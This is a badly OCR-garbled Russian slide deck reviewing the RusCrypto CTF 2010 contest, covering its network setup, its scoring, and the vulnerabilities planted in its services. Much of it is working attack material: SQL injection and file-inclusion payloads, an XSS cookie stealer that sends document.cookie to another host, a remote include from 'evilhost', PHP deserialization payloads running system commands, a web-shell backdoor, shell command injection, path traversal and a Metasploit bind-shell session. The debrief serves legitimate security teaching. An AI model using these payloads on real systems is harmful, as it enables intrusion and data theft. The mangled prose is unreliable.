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NnaH MmeponpuaTuNA

e [TNMoapo6HOoCcTM NnoarotoBkun n nposeaeHnn CTF

e 3aNno)>XeHHble YA3BMMOCTU, NYTU UX OBHapy>XeHusa u
3KCnJlyaTauum

e XpoHonorma cobbiTn
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NMoapo6bHocTn noarortoBku n nposeneHuns CTF !
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PycKpunto CTF 2010 !

PycKpunto CTF — 3TO OTKpbITbleé COpeBHOBaHUA Mo
3awmrte nHpopMmauumm, NnposoanMbIe MO NpUHUMNam
urpbl Capture The Flag (zaxBaT dnara).

PycKpunto CTF — 310 He knaccnueckumn CTF!
Ona 3axBata ¢naros B PycKpunto CTF Heo6xoanmo
BOCMOJZ1b30BaTbCA peasibHbIMU YSA3BUMOCTAMU B CaMbIX

HacTosswmx (NpoOAYKTUBHbIX) CUCTEMAX.

Pacnono>xeHue 6onblUMHCTBa p1aros 3apaHee
U3BECTHO.

B ocHoBY nereHabl copesHoBaHua PycKpunto CTF 2010
nerno nosecreoBaHue «JlaBuHa» Huna CtuBeHCOHa.
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PycKpunto CTF 2010: im3annH urpoBou cetu
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PycKpunto CTF 2010: Kak Bce 6b1J10 YCTPOEHO «<U3HYTPU>»

° NMHdpacTpyKTypbl KOMaHA paboTtanu Ha ABYX cepBepax:

e Fortice A133 (SR1500AL, XEON 5345x2, DDR2 FB DIMM 667MHz 2Gbx4,
SEAGATE ST3450802SS)

e Fortice A234 (SR2600UR, XEON 5550x2, DDR3 DIMM 1333MHz 1Gbx6,
SEAGATE ST3450802SSx2 RAID SAS 0)

NMHdpaCcTpyKTYpbl KOMaHA PYHKLMOHMPOBAAU NOA ynpaBieHUeEM
VMWare ESX B BUpTyasZibHOM cpepe

e B kauecTBe OCHOBHOIO MCMOJIb30BaJICA KOMMYyTaTOp:

e Cisco Catalyst 3560 (WS-C3560-48TS)
CeTtb paszpensnacb ¢ nomoubto Virtual Local Area Network
(Virtual LAN) and IEEE 802.1Q, HacTpoMkn KOMMyTaTopa
COOTBETCTBOBAaJ/IM MAKCMMaJIbHOMY YPOBHIO 3aLUMNLLEHHOCTH

e Ins opranmsauum umrposoro Wi-Fi-npocTtpaHcTBa NPUMEHANIOCb
cneaymouwee obopyanosaHume:
e Cisco WLS (WLC2106-K9), Access Point AIR-LAP1242AG-A-K9

¢ Urpokam 6b1/10 NpeaocTaBIeHO KOMMYHUKaALUOHHOE
obopyanoBaHume «u3 KOpobkun>» Ha 6a3e CISCO IOS.
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PycKpunto CTF 2010: PacnpeaeneHme nrpoBom MHpacTpyKTypbl
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PycKpunto CTF 2010: Tonosiormss UrpoBomn ceTu
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PycKpunto CTF 2010: Kak Bce 6b1J10 YCTPOEHO «<U3HYTPU>»

° Mcnonb30BaJioCb csieaylollee nporpaMMHoe obecneuyeHume:

VMWare ESX 4.xX c pa3aeneHveM BUMpPTyasibHbIX CE€TeBbiIX afganTepos no
cooTBeTcTByroOwunM naeHtnpukartopam cerem (VLAN ID).

OC FreeBSD 8.0-RELEASE-p2, B kOTOpOM MUIrpoku ob6snapganun AOCTynom
TOoNbkKO K cpeane JAIL (NONHOCTbLIO KOHTPOJIMpYyeMas cpeaa).

NMpuMmeuyaHue: «urposoun>» komMmyrtaTop Cisco 6bin 3anyuweH noa
ynpasneHmeMm Dynamips.

OC Microsoft Windows 2003 (Trial), B koTOpo# 6bi21n 3anyLieHbl
MHCTpyMeHTbl Radmin (Trial), SMS-Bupyc n n00bkit (rootkit).

OC Microsoft Windows 98.

CMS 1C-BuTpuKC B KauyecTBe n1at(popMbl B3aUMOAENCTBUSA XKIOPU U

MIrpoOKOB, OTO6paxeHus1 pe3yJ/ibTaTOB COPEBHOBaHUSA, a TaK)Xe B KayecTBe
«60HYCHOro>» 3afjlaHusl B KOHTeKcTe copeBHoBaHusa CTF.

Nagios AnAaA MOHUTOPMHIra AOCTYNMHOCTMN BCEX CUCTEM.

Cob6cTBeHHbIEe cueHapvum AN OTCNIeXKUBAHUA KOPPEKTHOro
(PYHKLMOHUPOBaAHUA pa3paboTaHHbIX CEpBUCOB U UX O6HOBNEHMA.

Bce NO, o6ecneunBarwuiee dyHkumoumposaHme CTF, 6bi1n10o
06HOBNIEHO A0 NocieaHUX BEpPCUiM HA AeHb NpoBeAeHus
COpeBHOBaHMA.

Ana obecnevyeHusn 6e3onacHocTu «ckenerta» CTF ucnonb3oBascs
NMPUHLUMN 3WEeIOHUPOBAHHOM 3aLlUMTbl BO BCEX KOMIMOHEHTaX CeTU.
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PycKpunto CTF 2010: ewe pa3ok nobnarogapvMm CnoHCOpoOB !
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3aJi0)KeHHble YA3BMMOCTH, NYTU UX O6Hapy>XeHUsa 1 3KCrJiyatauum

Positive
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PycKpunto CTF 2010

® MoarotoBsieHHbIe CepBUCHDI:

e KopnopatuBHbi camT (jaill)

e Cny)xb6a nHidpopmupoBaHma pocraswimkos (jail2)
e Cucrtema nokyMmeHtoob6opoTa (jail3)

e CepBuc ynpasneHus gatumkamm (jail4)

e TectoBbiM cepBep (jail5)

e KommyTtaTtop Cisco (jail6)

e Touka 6ecnpoBoagHOro Aocrtyna

e Windows 2003 (HOyT6YK MeHem)kepa)

e Windows 98 (koMnblroTep ASAOWKU DHLUO)
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PycKpunto CTF 2010: KopnopaTUuBHbIN CauUT

Cucrema Ya3BMMOCTH AdononHutenbHO Cno)>xHoctb Bannbl 3axBaueH
Apache/PHP/MYSQL SQL Injection B Insert (default error CIT, Bushwhackers,
i Xakeplom
based) o.ver Mod_.Secunty . Pacnonoxexuve ¢nara n3BecTtHo 3-8 8 PA
Bpems xu3HK: 2 yaca C MOMeHTa Mon6op + File Including B cookie
Havana CTF (default RFI) Tonbko y [Censored] (!!)
Apache/PHP/MYSQL MNopbop (default |r'1forma.t|o'n SiBears
leakage) + Cross-Site Scripting
PacnonoxeHne dnara n3BectHo 5 7
BpeMsi XM3HW: Ha NPOTSHXKEHWUN BCErO
BbinonHeHne KoMaHa Ha cepsepe
CTF
Apache/PHP/MYSQL HuWKTO He cymen 3axBaTuTb
BbINOMHEHE KOMaHZ Ha CepBepe PacnonoxeHwue dnara n3BecTtHo 8 0 onar.
BpEMSI XXU3HU: 5 4YacoB C MOMEHTa over unserialize()
N3MEHEHMsI COCTOSIHUS
SiBears, CIT, Bushwhackers
Apache/PHP/MYSQL
3 back-door over web-shell PacrionoxeHvie gnara U3BeCTHO
1 6

Bpems xu3HK: 2 yaca C MOMeHTa (BbIMONHEHME KOMaHA Ha cepeepe)
NU3MEHEHUsA COCTOAHUSA

Apache/PHP/MYSQL (bonus) 3;';:0 HE CyMen saxpatite
e e O6HapyxuTb apxvs (¢nar) B 1 5
BpeMsi XKM3HW: Ha NPOTSHKEHWUN BCErO KapTUHKe
CTF
HWKTO He cymMen 3axBaTuTb
Apache/PHP/MYSQL (bonus) T T et yl
He TpebytoTcs 06¢ycunpoBaHHOM BUAE B 2 5 '
BpeMs XW3HU: Ha NPOTSHKEHWUM BCErO .
CTF index.php
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PycKpunto CTF 2010: KopnopaTtuBHbi cauTt (st0)

° SQL Injection (MySQL 5.x) B Insert (default error based)

over Mod_Security

e YA3BMMbIN 3anpoc:

$query = "INSERT INTO pizza (pizza, time) VALUES (".$_POST['pizza'].",".$_POST['time'].")";

e DKcCnayaTauusa:

POST pizza=1
POST time=(/*!112345select 1 from(select count(*),concat((select
mid(load_file('/YOURFLAG.TXT'),451,32)),floor(rand(0)*2))x from pizza group by x)a)*/

nn

POST pizza=1

POST time=(/*!112345select 1 from(select count(*),concat((select
mid(load_file(0x2F594F5552464C41472E545854),451,32)),floor(rand(0)*2))x from pizza
group by x)a)*/
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PycKpunto CTF 2010: KopnopaTtuBHbin canT (st0) '

° SQL Injection (MySQL 5.x) B Insert (default error based)

over Mod_Security
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PycKpunto CTF 2010: KopnopaTtuBHbi cauTt (st0)

® Mon6op + File Including B cookie (default RFI)

Mpe)xxae yeM BOCMNOJIb30BaTbCHA YA3BMMOCTbIO, HEO6X0OAMMO aBTOPM30BaTbCA Ha
ctpaHumuye admin.php. ABTopn3oBaTbCA MOXXHO HECKOJIbKMMU Ccnocobamu:

e noao6paB Naposib K yyeTtHoM 3anucum admin (no ymonuyauummo «1234567»);

® NOoAKNIOUYUBLUMCD HAaNpaMyo K MySQL noa y4eTHOM 3anucbio NoJsib3oBaTens
www (http://192.168.X.1/config.inc) n co3aaB HOBOro noJsib3oBaTeNs.

® YA3BMMbINA YYACTOK Kopaa:

include_once($_COOKIE['lang'].".php');

e DkcnnayaTtauma (npasuna Mod_Security HamepeHHO 6biIIn
M3MEHEHbI):

LFI: Cookie[lang]=non/../../../../../../YOURFLAG.TXT/.[496]/.
RFI: Cookie[lang]=http://evilhost/s
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PycKpunto CTF 2010: KopnopaTtuBHbi cauTt (st0)

® Mon6op + File Including B cookie (default RFI)

html>
k <meta http-equiv="content-type" content="text/html; charset=windows-1251" />
total 49
drwxr-xr-x 17 root wheel 512 14 HBT 16:13
drwxr-xr-x 17 root wheel 512°14 HBT 16:13 ...
-rw-r--r-- 2 root wheel 798 13 HBT 17:05 .cshrc
—-IW-r—--r—-— 2 root wheel 265 13 HBET 17:05 .profile
¢ €& = | D A T M_L‘] http://192.168.0.1/login.php
| J | J | IS4
E oS O o] e of NN ENENE [ 1 2 il
\ ) RN TR -
Vo LV | a21efd360add73420088696456b582ed | || (|| (|
TTWRET—XT— £ root wneeli 51 15 Hbl 15:1¥ mAT
dr-xr-xr-x 1 root wheel 0 14 HBT 19:32 proc
drwxr-xr-x 2 root wheel 2560 13 HBT 15:23 rescue
drwxr-xr-x 2 root wheel 512 14 HBT 19:25 root
drwxr-xr-x 2 root wheel 2560 13 HBT 15:27 sbin
1YXWRr-Xr-x 1 root wheel 11 13 HBT 15:18 sys -> usr/src/sys
dYWXIWXIWL 6 root wheel 512 14 HBT 19:28 tmp
drwxr-xr-x 14 root wheel 512 13 HBET 20:08 usr
drwxr-xr-x 22 root wheel 512 14 HBT 13:23 var
Y G A | PR, G FTI (10 TN, [ o] bl | — / \E N5z N
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PycKpunto CTF 2010: KopnopaTUuBHbIN CauUT

® Moanb6op (default information leakage) + Cross-Site Scripting

if (tempty($symbl) && sizeof($al)) // last symbol
$o[] = $st[Sal[1]][$a1[B]];

if (substr($_SERVER['REMOTE_ADDR'],8,9)==3$net)

require once{'http://172.30.0.308/keyexchange.php’); fNocnemuan 3axas:

return $t;

return $t;

® Copep)xunmoe Xx.js:

xss=new/**/Image().src="http://192.168.X.X/sniffer.php?data="+document.cookie;

&P 192.168.0.5 - PuTTY . - - . . — N
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PycKpunto CTF 2010: KopnopaTtuBHbi cauT (stl)

° BbinosiHeHMe KoOMaHA Ha cepBepe over unserialize()

° NMoTeHUManbHO yA3BMMbIN yyacTtok koaa (login.php):

include_once("config.inc");

include_once("functions.php");
if(isset($_SESSION[ 'captcha_keystring']) && $_SESSION['captcha_keystring'] ==
$_POST['key']){
$sessid = unserialize(base64_decode($_COOKIE['sessid']));

e Ya3BuMmbin yuyactok koaa (functions.php):

function ___destruct(){echo $this->shutdown;
if (lempty($this->shutdown)){
$var = $this->shutdown[0];
$arg = $this->shutdown[1];
$var(sarg);
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PycKpunto CTF 2010: KopnopaTtuBHbi cauT (stl)

BbinosiHeHMe KOMaHA Ha cepBepe over unserialize()

® JKcnayartauua:

0:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:7:"phpinfo";i:1;s:2:"-1";}}
cookie[sessid]=Tzo40iJEYXRhYmFzZSI6MTp7czo040iJzaHV0ZG93biI7ZYToyOntpOjA7czo30iJwaHB
pbmzZvIjtpOjE7czoyOiItMSI7fXONCg==

0:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:6:"system";i:1;s:2:"Is";}}
cookie[sessid]=Tzo40iJEYXRhYmMFzZSI6MTp7cz040iJzaHV0ZG93biI7ZYToyOntpOjA7cz020iJzeXNO
ZWO0iO2k6MTtz0jI6ImxzIjt9fQOKDQo=

0:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:8:"passthru;i:1;s:17:"cat /YOURFLAG.TXT";}}
cookie[sessid]=Tzo40iJEYXRhYmMFzZSI6MTp7cz040iJzaHV0ZG93biI7YToyOntpOjA7czo40iJwYXN
zdGhydSI7aToxO3M6MTc6ImMNhdCAVWU9VUKZMQUCcuVFhUIjt9fQ==

9 http://192.168.0.1/login.php v | Q)

Warning: mysql_real escape_string() expects parameter 1 to be string, object given in /usr/local/ww“/apacheZZ/data/login php on line 22
Heaepm;n‘e‘: IOTMH WM maponsArray N[ (_)_ (_)_ [ T A VA VAR WV A A | S I 1 O
_- f ez a2 [ el I Y 4 o P = S I I SN ) D 5./ S S i D y i g o a21efd360add7342f0886964<6b<82ed| Jd1d1rgdi
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PycKpunto CTF 2010: KopnopaTtuBHbi cauT (st2)
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PycKpunto CTF 2010: KopnopaTtuBHbi cauT (st2)

® 3 back-door over web-shell

[[® http://192168.01/bak index.php?v=/YOURFLAG.TXT ~|£[#9 Google

| Bam if(@$_GET['v])include(@$_GET['V']);

| Oraeix Ha ave pexn

OO
\IN' \\/_j|/_|

= | _\f
U i e http://192.168.0.1/bak_index.php?v=/YOURFLAG.TXT

RSN | [3 http://192168.0.1/img.php?h=passthrudta= cat%20/YOURFLAG.TXT @$_REQU EST['a'])?eva|($_REQU EST['h'](s_REQU EST

MO O ULV NN NN NN ~
U I - [ eRBe0add 3 ms896456b552ed | HLH(_H udo ['a'l):0;
Warn arning: Cannot modify header information - headers already sent by (output started at /usr/local'www/apache22/data’kcaptcha.php:134) in /usr/loc

‘Warning: Cannot modify header information - headers already sent by (output started at fusr/local'www/apache22/data’kcaptcha php:134) in /usr/loc

http://192.168.0.1/img.php?h=passthru&a=cat%20/YOU
RFLAG.TXT

‘Warning: Cannot modify header information - headers already sent by (output started at /usr/local'www/apache22/data’kcaptcha php:134) in /usr/loc
‘Warning: Cannot modify header information - headers already sent by (output started at /usr/local'www/apache22/data’kcaptcha php:134) in /usr/loc

‘Warning: Cannot modify header information - headers already sent by (output started at /usr/local/'www/apache22/data’kcaptcha php:134) in /usr/loc

BeBIO HIFIF BYU :CREATOR: gd-jpeg v1.0 (using UG JPEG v80), quality =90 Bm C by by LLttd LU Q][44 oo
:: Ckaumeanme daina c cepeepa : htaccess
®aitn * |/[YOURFLAG.TXT [ Cravams | - . .
A e e i YOURLAG g AddType application/x-httpd-php .png
Orn
Komy + [hacker@mail.com ‘ o Wma:  YOURFLAG.png (576 6aiir) | ‘ o 5;5‘@7'@;5'

http://192.168.0.1/fonts/footevening.png
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PycKpunto CTF 2010: KopnopaTUuBHbIN CauUT

® AdononHuTenbHbie YA3BUMOCTH

e PackpbiTne koHdmaeHUManbHbiX AaHHbIX (/config.inc, /test.php,
/phpinfo.php)

e PackpbiTne koHdbuaeHumanbHo nHpopmauum (display_errors=off, etc)

e MNMopb6op (/admin.php, MySQL)

e OTCyTCTBME TaiMayTa Ceccum

e NMpeapyraabiBaeMmoe 3HaueHue maeHTtudpukaropa captcha

e YaseuMmble (HaMepeHHO U3MeHEeHHble) npasuna Mod_security

e HepocraTtouHoe NpoTUBOAENCTBME aBTOMaTU3aLMM NpU 3aKase nuuLbl

e NHTepdenc agMMHUCTPUPOBAHUA HE 3aliMLleH HaaneXxawmm obpasom

e lMepepaya koH(pMAEHUMANIbBHbIX AAAHHbIX MO OTKPbITOMY npotokony HTTP

e YaszBuMble koHpurypaumm OC/MySQL/Apache/PHP
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PycKpunto CTF 2010: Cny>x6a nHdpopMmnpoBaHUsa AOCTAaBLUNKOB

Cucrema Ya3BMMocCcTu AdononHutenbHO Cno)>xHoctb bBannbi 3axBaueH
SiBears
Apache/Python/PostgreSQL
B . Knaccnyeckas SQL Injection Pacrionoxenue cpriara 1 7
peMs XM13HW: 4 yaca C N3BECTHO
MOMeHTa Hadana CTF
Apache/Python/PostgreSQL SiBears, Xakep[lom,
BbinonHeHne koMaHA Ha Pacronoxexue cnara 1 10 Bushwhackers, CIT
Bpemsi xu3HK: 5 yacos ¢ cepsepe over AJAX N3BECTHO
MOMEHTA U3MEHEHWUSI COCTOSIHUS
Apache/Python/PostgreSQL Xakep[owm, CIT
(bonus) BrinornHeHue KoMaHA Ha ®nar pacnonoxeH B darine
cepsepe over AJAX P 2 3

Bpems un3HKU: 1 yac ¢ MOMeHTa
OroBeLLeHNst 0 CObbITUM

(mononHuTEnNbHBIN hnar)

/var/mail/root

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: Cny>x6a nHcpopMmuposaHusa aocraswmkoB (st0)

° Knaccnueckas SQL Injection (PostgreSQL)

® yassuMmoe regexp:

from django.conf.urls.defaults import *

(r'~rpizza(.*)$', 'ctfproject.ctfpyweb.views.pizza'),

e DKcCnayaTauusa:

/ctfproject/pizza5;select+1,version()
/ctfproject/pizza5;select+1,pg_read_file('"YOURFLAG.TXT',0,500)

nnn

/ctfproject/pizza5%20and%201=2%20union%20select%20null,null,version(),null,null

/ctfproject/pizza5%20and®%201=2%20union%20select%20null,null,pg_read_file("YOURFLAG.T
XT',0,500),null,null

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: Cny>x6a nipopmmnposaHusa aocraswimkon (st0)

° Knaccnueckas SQL Injection (PostgreSQL)

Q_‘f) Y | ” . http://192.168.0.2/ ctfproject/pizza5%20and %6201 = 2%20union %20select %20 null, null, pg_read_file('YOURFLAG.TXT' 0,500),null null

Xaxkepom

cny uba JOCTaBKM Ye
Onnave=o
None AyrenTndnkauns
e T ) e b I e B B O NSy L AR A Y AE 57 e U S| NoruH
57 AR o O] Pt VA W A A7 A Y 8 o S VR o e A W ) P L P 7 Y 7 Y 8 I o A e Y N Rapont
S, VG ] 3 N TR A\ P, ¥ SRS T B W S S o I {1 § ORS
ee064e5d4d0682852f9b2ee6e3a5¢966 | _| | (| | (|
AnaneTp: None
Haswrauns
ueﬂ&: None . HOBOCTM
« 3axazw
« CopTa nuuusl
» KOHTaKTHI
+ ObpaTHas ces3b
+ O Hac
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PycKpunto CTF 2010: Cny>x6a nHcpopMmuposaHusa aoctasuwmkoB (stl)

° BbinosIHeHe KoOMaHA Ha cepBepe over AJAX

° YA3BMMbIN YUaCTOK Kopaa:

if('args' in request.POST):
args = request.POST['args']
try:
retval = subprocess.Popen("uname -%s" % (args), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE).communicate()[0]

e JKcCnaiyaTtauua:

<script>
var params = 'args=i | cat /YOURFLAG.TXT'
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST", "http://192.168.X.2/ctfproject/confdata”, false);
xmlhttp.send(params);
document.write(xmlhttp.responseText);
</script>

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: Cny>x6a nHcpopMnpoBaHus AOCTaBLINKOB

° AdononHuTenbHble YA3BUMOCTU
e XPath Injection
e Open Proxy
e NMon6op (paspaen agMMHUCTPUPOBaAHUSA)

e HepocraTtouHoe npoTuBoAeicTBMe aBTomaTtmsauum B popme

obpaTtHOM cBA3M
e OTCyTCTBME TauMayTa ceccCum

e NMepenava koHMAEHUNANbHbIX AAaHHbIX MO OTKPbITOMY NPOTOKONY
HTTP

e YaszBuMblie koHpurypaumm OC/PostgreSQL/Apache/PYTHON

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: CucteMa oOKYyMeHTOOb6OpoOTa

Cucrema YA3BMMOCTH AonosiHuTesNIbHO CnoxxHoctb bBannbl 3axBaueH
CIT, Xakepom, SiBears
Native HTTP Server Bbixog 3a npegensl katanora
PacnonoxeHue ¢nara
4-9 16
Bpems xu3HM: 3 yaca c N3BECTHO
MOMeHTa Hadana CTF MepenonHexune 6ydepa
. CIT, Xakepom, SiBears
Native HTTP Server Bbixoa 3a npeaensi katanora
PacnonoxeHnue dnara
4-9 20
BpeMs >un3HU: 6 Yacos C N3BECTHO
MOMEHTa U3MEHEHUS COCTOSAHMS MepenonHeHue bydepa
Native HTTP Server (bonus) CIT
PeBepcuHr, dnar BLWKT B
BpeMsi xu3Hn: 3 yaca ¢ He Tpebytotca JEMOH 8 10
MOMeHTa Hayana CTF
Native HTTP Server (bonus) Huge Ego Team,
He Tpebytotca (MoxeT ®nar cogepxuTcs B Koge 1 3 [Censored], CIT,

BpeMs >un3HM: 6 Yacos C
MOMEHTAa U3MEHEHUHA COCTOAHUSA

MCNoNb30BaTbCa Nogbop)

(plain text) javascript

Bushwhackers

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: CucteMa oOKYyMeHTOOb6OpoOTa

Bbixoa 3a npeaensbl katanora (path traversal)

dparMeHT YS3BMMOIro Koaa:

if (ptr[strlen(ptr) - 1] =="/")
strcat(ptr, "index.html");

strcpy(resource, WEBROOT);

strcat(resource, ptr);

fd = open(resource, O_RDONLY, 0);

e JKcnayaTauusa:

GET /../../YOURFLAG.TXT HTTP/1.1

~POSITIVE TECHNOLOGIES

/ Yazsuman coulnka
. 192.168.0.3/../..] ..] ..[ ..] ..] ..] ..] ..[ ..] etc/ passwd

2 KpaTKoe onucaHue

AZBMNGRA COUKA

3 OnucaHue

Cavinxa

htto:/152,168.0.34 L, L. L L L L L L detc/passwd

Copneprwnmmoe

Ofixon xaranora
(GET L./ L et fpasswd HTTP/1.0)

Hndopuayus

Pewss42! OBHOSUTS HAM HACTPOHTL NPOrPENNHOE OBSMEUSHItE MMM 33KPLITE AOCTYN K 3TOM Cobinke,
Pesynbrar paborm

# SFreeBSD: srcfetc/master. passwd, v 1.40,22,1.2.1 2009/10/25 01:10: 29 kensmith Exp §

root: :0:0:Charlie &:foot: binfcsh
toor: *:0:0:8o0urne-agan Superuser: froot:




PycKpunto CTF 2010: CucteMa oOKYyMeHTOOb6OpoOTa

«BOHYCHbIN nar>»

¥ [esp*8], 5 ;

n
¥ [esp+4], offset aHead ; "HEAD *
5 s1

rax
)

)c_8B4BEA7

=
[P ; S

Nl

eax, [ebp+s]
eax, 5
[ebp+buf], eax
[ebp+var_18], 1

Nl

_8BUBEAT7:
[ebp+buf], 8
short loc_8B848EBE|

h,63h...-> a,b,c...

SIS WSS premeno
[ebp+needle], al

[ebp+var_2219], dl1
[ebp+var_2218], cl
[ebp+var_2217], bl
eax, esi

[ebp+var_2216], al
eax, edi

[ebp+var_2215], al

eax, [ebp+var_2289]

[ebp+var_2214], al

eax, [ebp+var_2288]

[ebp+var_2213], al

eax, [ebp+var_2287]

[ebp+var_2212], al
[ebp+var_2211], ©
[ebp+var_18], 1
loc_806494C0

~POSITIVE TECHNOLOGIES

]

E N Ll

loc_8B48EBE:
mou
mou
mou
mou
mou

EP172.30.0.1 - PuTTY

4 [m

eax, [ebp+s]

edx, [ebp+needle]
[esp+4], edx
[esp], eax
_strstr

eax, eax
loc_88494C0

mov
mov
mov
mov
mov
mov
mov
movzx
mov
movzx
movzx
movzx
movzx
movzx
movzx
mov
movzx
mov
movzx
mov
movzx
mov
mov
mov
mov
mov
mov
mov
mov
movzx

[ebp+var_2242], 33h
[ebp+var_2241], 34h
[ebp+var_2248], 35h
[ebp+var_223F], 36h
[ebp+var_223E], 37h
[ebp+var_223D], 38h
[ebp+var_223C], 3%h
eax, [ebp+var_225E]
[ebp+var_228D], al
edx, [ebp+var_2251]
ecx, [ebp+var_2252]
ebx, [ebp+var_224B]
esi, [ebp+var_224D]
edi, [ebp+var_225A]
eax, [ebp+var_2254]
[ebp+uvar_2289], al
eax, [ebp+var_225F]
[ebp+var_2288], al
eax, [ebp+var_2259]
[ebp+var_2287], al
eax, [ebp+var_228D]
[ebp+needle], al
[ebp+var_2219], dl
[ebp+var_2218], cl
[ebp+var_2217], bl
eax, esi
[ebp+var_2216], al
eax, edi
[ebp+var_2215], al
eax, [ebp+var_2289]




PycKpunto CTF 2010: CucteMa oOKYyMeHTOOb6OpoOTa

NepenonHeHue 6ydepa (buffer overflow)

dparMeHT YS3BMMOIro Koaa:

char tmp[8192];
tmp[0]=1;

;l.v.hile(l) {
tmp[1l]=tmp[0]++;

void handle_connection(int sockfd, struct sockaddr_
in *client_addr_ptr) {

unsigned char *ptr, resource[500], request[8192];

~POSITIVE TECHNOLOGIES

’ MNepenonuenne bydepa

3anpoc

GET fxxxx...xxxx.htm HTTP/1.1

Pasmep bydepa (K6)
100




PycKpunto CTF 2010: CucteMa oOKYyMeHTOOb6OpoOTa

® NepenonHeHune 6ydepa (buffer overflow)

~POSITIVE TECHNOLOGIES

i/ bash =3 EoR( =)

metasploit v3.3.3-release [core:3.3 api:1.0]
484 exploits - 220 auxiliary
192 payloads - 22 encoders - 8 nops

=[ svn r7957 updated (2009 12.23)

warning: This copy of the Metasploit Framework was last updated
We recommend that you update the framework at Teast every other day
For information on updating your copy of Metasploit, please see:
http://dev.metasp1oit.com!redmine/projects/framework/wiki/Updating

> use exploit/freebsd/
use exploit/freebsd/tacacs/xtacacsd_report use exploit/freebsd/telnet/ttyprompt
use exploit/freebsd/telnet/fuser use exploit/freebsd/webserv/test
msf > use exploit/freebsd/webserv/test
exploit( ) > set payload bsd/x86/shell/bind_tcp
payload => bsd/x86/shell/bind_tcp
msf exploit( ) > set TARGET 0
TARGET => 0
msf exploit( ) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit( ) > set LPORT 777
LPORT => 777
msf exploit( ) > exploit
Started bind handler
Trying target address Oxbfbfcddo..
Sending stage (46 bytes)
Command shell session 1 opened (192.168.0.102:53510 -> 192.168.0.3:777)

cat /YOURFLAG.TXT

b1f13e7227c57c7c7731b24fel0f685a




PycKpunto CTF 2010: CucteMa oOKYyMeHTOOb6OpoOTa

® HOI'IOHHMTeanbIe YA3BUMOCTMH
e Mpouecc pa6bortaer noa NnpuBuUIErMpoBaHHOM yyeTtHou 3anucbio (uid0)
e NMon6op n HegocTtaTouHan ayteHTudpukauma (Mcnosnb3lyercsa javascript)

® Ya3BuMblie KOHdurypaumm OC

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: CepBuc ynpassieHUa AaaTyimKamMm

Cucrema YA3BMMOCTH AononHuTenbHO Cno>xHoctb bBannbl 3axBaueH
CIT, Bushwhackers,
Native TCP Server Xakep[iom
. PacrnionoxeHue gnara
. OaHob6anToBOE NEpenosTHEHME ¢ 10 28
BpeMsi Xn3HM: Ha NPOTSHKEHWUM N3BECTHO
Bcero CTF
Native TCP Server (bonus) SiBears, Xakep/lom, CIT
. He Tpe6ytoTcs PesepcuHr, dnar BLWKT B 2-4 12
Bpems u13HW: Ha NPOTSHXXeHUn LEMOH
Bcero CTF
Native TCP Server (bonus) HukTO He cymen
®nar pacnonoxeH B darine EEEITS (k]
Bpems »xu3HM: 2 vaca C OpHobaliToBOe nepenosiHeHve P 10 3

MOMEHTa OMOBELLEHUS O
CcobbITUK

/root/.bash_history

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: CepBuc ynpassieHUsl AaT4YMKaMu

® NMonydyeHune naposfa K cepBmucy

m

~POSITIVE TECHNOLOGIES

¥
EIN L 2 1, N
mov dword ptr [esp+4], offset aPizza ; “pizza” jmp loc_8B4BEA
lea eax, [ebp+var_4C]
mou [esp], eax
call sub_804E880
test al, al
jz short loc_8604BCH3
| |
#P 1723001 - PuTTY =3 o>
I
bh
rfset alncorrectPassw ; “Incorrect passwordinir”




PycKpunto CTF 2010: CepBuc ynpassieHUa AaaTyimKamMm

® OaHo6anToBOE NnepenoJsiHeHue

cmd= byte ptr -96h

var_64= dword ptr -64h
var_60= dword ptr -66h
var_5C= byte ptr -5Ch
var_50= byte ptr -506h
var_4C= byte ptr -4Ch
var_48= byte ptr -48h

® dparMeHT Yy93BMMOro Kkoaa:

char cmd[50]; //was 4096

nb = anetRead(cli->fd, cmd, 140); var_u1= byte ptr -41h
" uar:h8= byte ptr -46h
else if (strcmp(cmd, "SHELL") == 0 && loc_shl '=0) { var_39= byte ptr -39h
// execute shell command var_38= byte ptr -38h

var_31= byte ptr -31h
var_30= byte ptr -36h
var_29= byte ptr -29%9h
var_28= byte ptr -28h
var_21= byte ptr -21h

e DKcCnayaTauusa:

OK CosaNostra Owen Control 1.0.23 var_206= byte ptr -26h
AAA[126]AAA var_1B= byte ptr -1Bh
-ERR _loc_adm= byte ptr -1Ah
shell cat /YOURFLAG.TXT _loc_shl= byte ptr -19h

var_18= dword ptr -18h
var_14= dword ptr -14h
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PycKpunto CTF 2010: CepBuc ynpassieHUsl AaT4YMKaMu

° «BOHYCHbIX ¢hnar>

5 Viewd X [Z] Pseudocode-B | X |Z] Ps

std__ostream__operatoy
std__operator___std__(

£ 1723001 - PuTTY

S55ead3f22946b0e573a88eb

std__operator___std__char_traits_char__(&v37, "Serial Number: 58ca37cdf55ead3f22946bBe573a88eb™);
std__operator___std__char_traits_char__(&v37, "\n\r");
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PycKpunto CTF 2010: CepBuc ynpassieHUa AaaTyimKamMm

® HOI'IOHHMTeanbIe YA3BUMOCTMH
e Mpouecc pa6bortaer noa NnpuBuUIErMpoBaHHOM yyeTtHou 3anucbio (uid0)
e He ncnonb3syerca kpunrtorpacdpmuyeckan sawmra
e NMon6op

® Ya3BuMblie KOHdurypaumm OC

~POSITIVE TECHNOLOGIES




PycKpunto CTF 2010: TecTtOoBbIN CcepBep

Cucrema YA3BMMOCTH AonosiHuTeNIbHO CnoxxHoctb bBannbl 3axBaueH
60p ( Bushwhackers,
Moabop (MHOXeCTBO ;
Apache/PHP/MYSQL/BITRIX MHTEPDECOB) Xakepflom, SiBears
PacnonoxeHnue dnara ) 3
Bpems »wu3Hu: 5 yacos ¢ N3BECTHO
MOMeHTa Hauana CTF SQL Injection/File Including
Apache/PHP/MYSQL/BITRIX MoaGop, SQL Injection/File Bushwhackers,
Including (ecnu He ycTpaHeHo) PacronoxeHue dnara Xakepfowm, CIT, SiBears,
: 1-2 [Censored]
